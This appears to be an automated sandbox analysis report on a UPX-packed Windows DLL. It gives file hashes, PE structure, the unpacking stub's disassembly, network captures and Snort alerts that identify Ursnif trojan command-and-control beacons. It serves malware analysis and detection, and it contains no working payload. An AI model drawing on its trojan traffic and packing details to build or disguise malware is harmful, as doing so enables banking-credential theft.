SHA-512:	9FA7CD627AAEC7EF1B91992798BE68E7E8FA91E5D9390CD925E2E8457F3EF83B37C7EFCD81CDF11BA26FFBEE205828C74B771815C9A970451DC2178837BE0C59
Malicious:	false
Reputation:	low
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{BD6AF35C-DF4A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27384
Entropy (8bit):	1.848069425899241
Encrypted:	false
SSDEEP:	96:rBZqQ+6sBSdj32DWuMyywBSlHGd9sRwBSlHGd9gSlZA:rBZqQ+6skdj32DWuMyyw2HK+Rw2HKLZA
MD5:	ABBBABDCEF013C7360EF262DA94D0BB1
SHA1:	7886E7C0D416567109ED45A58EB4C63AEC4DA13D
SHA-256:	5F82BCE7575218FED78D6771274A7CE3F2F9450019B37CA1A44043E2DE1B67AD
SHA-512:	8291D7D23C35B5B0F5B6A61C70D230968DBD70E0E1700EBC282F4B3F5291DBC87FEB2363F03A2E152C70AC4ADF2691F1F493798A41BB960CD8A6D3EF3CC31B24
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{BD6AF35E-DF4A-11EB-90E5-ECF4BB570DC9}.dat Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	Microsoft Word Document
Category:	dropped
Size (bytes):	27376
Entropy (8bit):	1.8498140810925014
Encrypted:	false
SSDEEP:	96:rnZfQj6tBSHjp2BWBMXa6lBlfcFXgxlBlfcFXAl4A:rnZfQj6tkHjp2BWBMXa6lzfHxlzfb4A
MD5:	E314AEEF8885724C4F91A74CBF288AAE
SHA1:	C299E34AFACD5E67A2748443AE4F3D71D1213174
SHA-256:	3DC9BB6E88346FF7285AA2B7BE18C8FA94331C42DD48253FBC3436DFB8BF4F00
SHA-512:	5F8250CF15954ABC4BB60ACB1ACF7952D010260D8235530CE4EFD02F30391E33C9E2F50CB2997E1F86CD442A7F660D2FF01C482CEF93D11C50606E1598ECECB9
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................R.o.o.t. .E.n.t.r.y.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	89
Entropy (8bit):	4.429518442893874
Encrypted:	false
SSDEEP:	3:oVXUdUbXIyB8JOGXnEdUbXIy6j+n:o9UVQqEVi
MD5:	7551EDFC2A095038308DE03A979AEA3B
SHA1:	28A3E4408ABBD841E14B80C82D712894D7480A73
SHA-256:	FD0B2F23730CC3AAAFEB969CE5AFF07BAD4CA1EDA987671346FE6513CB7AFDD6
SHA-512:	96F41AF45753FAFA2DAA35022B02841153EE8C98894ED530A8F16C72B5FC7774FDEF2C0A8211843F4059E613087DB806F685CE058F6B9C782AAB30614607EA12
Malicious:	false
Preview:	[2021/07/07 10:42:49.331] Latest deploy version: ..[2021/07/07 10:42:49.331] 11.211.2 ..

C:\Users\user\AppData\Local\Temp\~DF3A99C7AD2702480D.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39649
Entropy (8bit):	0.5767042893555584
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+NTRwzRlBlfcFX2lBlfcFX+lBlfcFX3:kBqoxKAuqR+NTRwzRlzfrlzf3lzf8
MD5:	5E4E8D633EEC37451CA584FB977CD2A3
SHA1:	F2FDC159F116F1F666876081CD57C21FF4D6F629
SHA-256:	54912DA24BE3C7F0278AFF9A7FA3748F20BB70B7A444BB6D36219E8F5BAF910E
SHA-512:	7E54E62E35EB7DF22657B5BD7374BF2634C9C0DBFFD8497175740591CB19AE20193A72555931D96A1B958AC9333606CE6D4A9264F4B10EC2A5DB786A015AF97C
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF48F8DB99852E5824.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	13237
Entropy (8bit):	0.6015770581866133
Encrypted:	false
SSDEEP:	24:c9lLh9lLh9lIn9lIn9lo59loZ9lWN5iG5PA:kBqoIC8N5iG5PA
MD5:	48DB8549900DAE5BC2552D048ED02C3F
SHA1:	6C535A402C05BF8FEFC3500973D9F4393FC67277
SHA-256:	3DB755B3A9C5F18FE0694056E963504C59603244F11C801A72991E62CA219BC6
SHA-512:	0792497457374046404D96816FCA01748D62D3CC87FA6E5AC22B3593D55E707E89A2EE3FEA72DC7C07A6ED6D27944FF062C781B334E06C7A871A88AFBF418890
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFBADD8EC8FEBD51BA.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39665
Entropy (8bit):	0.576637477758457
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+uoCLYewBSlHGd9uwBSlHGd9+wBSlHGd93:kBqoxKAuqR+uoCLYew2HK0w2HK0w2HK1
MD5:	3252CDAF94741DE42A0C2C0887F7B2AA
SHA1:	917057587119E9A2610A30B1F1538C94B99E6179
SHA-256:	DBDD2E68C5A55AD1E178E0860709F5D0AB2205E30D8D0FF184B95D39DD820087
SHA-512:	15321A223617B5C9296F57B79AAF13884F8427488F380BE084BA9A19BF9EBA0C4B0518D6D9F4D0B3EEE6C3FD31795D593F8DBD107ADB8C865CABA1F13C9B1887
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.907972335888756
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 96.66% UPX compressed Win32 Executable (30571/9) 2.95% Generic Win/DOS Executable (2004/3) 0.19% DOS Executable Generic (2002/1) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5.dll
File size:	227342
MD5:	fceb6a51be4205d11be1491f6e263cae
SHA1:	0abb60d37fac49912172c5385ff58e049520eb53
SHA256:	c521dd937ce9b2e8bda2fa915bae5b5be0e150a8b82e3b2bfb1cdbc60a8326c4
SHA512:	0dd278f5499a28f3ae536fd1870cbedbfb1da34f07d9210f09b86c5167d04be4f0eb1ffbcb922d3b01afe83cf9cd9f620e5c4abf0a27a569c954e6d7cc9451e7
SSDEEP:	3072:Ndmt0uTpBxy1mXhKvuE3GThWccntEvAJjHPLpvLHMwsJyV/vl5PX8J/g9vN:N85ykhKWE3UhwmMjjpvjMwskD5f8JsvN
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~@........................................D...................................................Rich............PE..L......S...

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x10facd0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x1000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5396CBB2 [Tue Jun 10 09:11:14 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ea5307b4a63215686c0cdc83cff5fcba

Entrypoint Preview

Instruction
cmp byte ptr [esp+08h], 00000001h
jne 00007FA454D122CFh
pushad
mov esi, 010C4000h
lea edi, dword ptr [esi-000C3000h]
push edi
jmp 00007FA454D12102h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FA454D120DFh
mov eax, 00000001h
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FA454D120FDh
jne 00007FA454D1211Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FA454D12111h
dec eax
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007FA454D120C6h
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007FA454D12144h
xor ecx, ecx
sub eax, 03h
jc 00007FA454D12103h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FA454D12167h
sar eax, 1
mov ebp, eax
jmp 00007FA454D120FDh
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FA454D120BEh
inc ecx
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FA454D120B0h
add ebx, ebx
jne 00007FA454D120F9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FA454D120E1h
jne 00007FA454D120FBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FA454D120D6h
add ecx, 02h
cmp ebp, 00000000h

Rich Headers

Programming Language:

[EXP] VS2013 UPD3 build 30723
[LNK] VS2013 UPD3 build 30723
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[C++] VS2013 UPD3 build 30723
[RES] VS2013 build 21005
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xfb2b4	0x80	.rsrc
IMAGE_DIRECTORY_ENTRY_IMPORT	0xfb1dc	0xd8	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfb000	0x1dc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xfb334	0x10	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xfaebc	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0xc3000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
UPX1	0xc4000	0x37000	0x37000	False	0.987744140625	data	7.91565633635	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xfb000	0x1000	0x400	False	0.490234375	data	4.47756536718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0xfb05c	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
GDI32.dll	PatBlt
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect
USER32.dll	GetWindowRect

Exports

Name	Ordinal	Address
Clockcondition	1	0x1021070
Dogwhen	2	0x1021fa0
Sing	3	0x1022080
Wholegray	4	0x1022270

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/07/21-10:42:51.274973	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49721	80	192.168.2.5	40.97.116.82
07/07/21-10:42:51.274973	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49721	80	192.168.2.5	40.97.116.82

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 7, 2021 10:42:51.090818882 CEST	49720	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.090912104 CEST	49721	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.272027016 CEST	80	49721	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:51.272280931 CEST	49721	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.272367954 CEST	80	49720	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:51.272512913 CEST	49720	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.274972916 CEST	49721	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.455990076 CEST	80	49721	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:51.456219912 CEST	49721	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.456922054 CEST	49721	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.494256020 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.636159897 CEST	80	49721	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:51.676846981 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:51.680841923 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:51.827325106 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.014647961 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:52.014681101 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:52.014705896 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:52.014846087 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.014877081 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.081208944 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.093198061 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.265033007 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:52.265264988 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.278367996 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:52.278536081 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.376544952 CEST	49722	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:52.559003115 CEST	443	49722	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:53.386189938 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.387068033 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.435702085 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.435808897 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.436583996 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.436794996 CEST	443	49724	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.436893940 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.437544107 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.486001015 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.486032963 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.486056089 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.486118078 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.486159086 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.497411013 CEST	443	49724	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.497447968 CEST	443	49724	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.497472048 CEST	443	49724	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.497551918 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.497587919 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.499181032 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.499806881 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.506491899 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.546751022 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.547455072 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.547595978 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.549876928 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.549968958 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.550431967 CEST	49723	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.554781914 CEST	443	49724	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:53.555263996 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:53.597332954 CEST	443	49723	40.101.137.98	192.168.2.5
Jul 7, 2021 10:42:54.063404083 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.063575029 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.110462904 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.110488892 CEST	443	49726	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.110635042 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.112159014 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.115689993 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.116274118 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.163465977 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163490057 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163506031 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163583040 CEST	443	49726	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163592100 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.163613081 CEST	443	49726	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163621902 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.163638115 CEST	443	49726	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.163681030 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.163696051 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.547020912 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.547854900 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.569293022 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.600734949 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.601027966 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.601119995 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.619752884 CEST	443	49726	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.619885921 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:54.623085976 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.623105049 CEST	443	49725	52.97.233.2	192.168.2.5
Jul 7, 2021 10:42:54.623250961 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:56.625698090 CEST	49727	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.648083925 CEST	49728	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.718204975 CEST	49720	80	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.718823910 CEST	49724	443	192.168.2.5	40.101.137.98
Jul 7, 2021 10:42:56.718935013 CEST	49726	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:56.719031096 CEST	49725	443	192.168.2.5	52.97.233.2
Jul 7, 2021 10:42:56.804682970 CEST	443	49727	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:56.804963112 CEST	49727	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.827092886 CEST	443	49728	40.97.116.82	192.168.2.5
Jul 7, 2021 10:42:56.827358007 CEST	49728	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.850275040 CEST	49728	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:56.850389004 CEST	49727	443	192.168.2.5	40.97.116.82
Jul 7, 2021 10:42:57.031389952 CEST	443	49728	40.97.116.82	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 7, 2021 10:41:06.493637085 CEST	64344	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:06.543250084 CEST	53	64344	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:07.554013014 CEST	62060	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:07.600009918 CEST	53	62060	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:07.859673023 CEST	61805	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:07.922938108 CEST	53	61805	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:08.033090115 CEST	54795	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:08.084286928 CEST	53	54795	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:08.444116116 CEST	49557	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:08.490957022 CEST	53	49557	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:10.187633991 CEST	61733	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:10.235408068 CEST	53	61733	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:11.916913033 CEST	65447	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:11.969238043 CEST	53	65447	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:13.034820080 CEST	52441	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:13.083679914 CEST	53	52441	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:14.300179005 CEST	62176	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:14.347477913 CEST	53	62176	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:50.303306103 CEST	59736	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:50.305263042 CEST	51058	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:50.305418968 CEST	52636	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:50.350764036 CEST	53	59736	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:50.353497028 CEST	53	52636	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:50.354608059 CEST	53	51058	8.8.8.8	192.168.2.5
Jul 7, 2021 10:41:50.467432022 CEST	59596	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:41:50.518011093 CEST	53	59596	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:22.293884039 CEST	65296	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:22.340636969 CEST	53	65296	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:23.517817974 CEST	63183	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:23.566267014 CEST	53	63183	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:24.820453882 CEST	60151	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:24.867818117 CEST	53	60151	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:25.943399906 CEST	56969	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:25.991075039 CEST	53	56969	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:32.901308060 CEST	55161	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:32.978351116 CEST	53	55161	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:48.833185911 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:48.882189989 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:51.021521091 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:51.070379019 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:53.333837032 CEST	60075	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:53.382605076 CEST	53	60075	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:54.000277042 CEST	55016	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:54.047828913 CEST	53	55016	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:56.563894987 CEST	64345	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:56.612906933 CEST	53	64345	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:57.276827097 CEST	57128	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:57.325242996 CEST	53	57128	8.8.8.8	192.168.2.5
Jul 7, 2021 10:42:57.526649952 CEST	54791	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:42:57.574337959 CEST	53	54791	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:05.758491039 CEST	50463	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:05.814879894 CEST	53	50463	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:14.342447042 CEST	50394	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:14.395380974 CEST	53	50394	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:18.729798079 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:18.776760101 CEST	53	58530	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:19.727202892 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:19.774288893 CEST	53	58530	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:20.740657091 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:20.787770033 CEST	53	58530	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:22.740407944 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:22.787152052 CEST	53	58530	8.8.8.8	192.168.2.5
Jul 7, 2021 10:43:26.756454945 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 7, 2021 10:43:26.803472996 CEST	53	58530	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 7, 2021 10:42:51.021521091 CEST	192.168.2.5	8.8.8.8	0xed2a	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:53.333837032 CEST	192.168.2.5	8.8.8.8	0x696b	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:54.000277042 CEST	192.168.2.5	8.8.8.8	0xf187	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:56.563894987 CEST	192.168.2.5	8.8.8.8	0x2e0a	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.276827097 CEST	192.168.2.5	8.8.8.8	0x6302	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 7, 2021 10:42:57.526649952 CEST	192.168.2.5	8.8.8.8	0x49fa	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
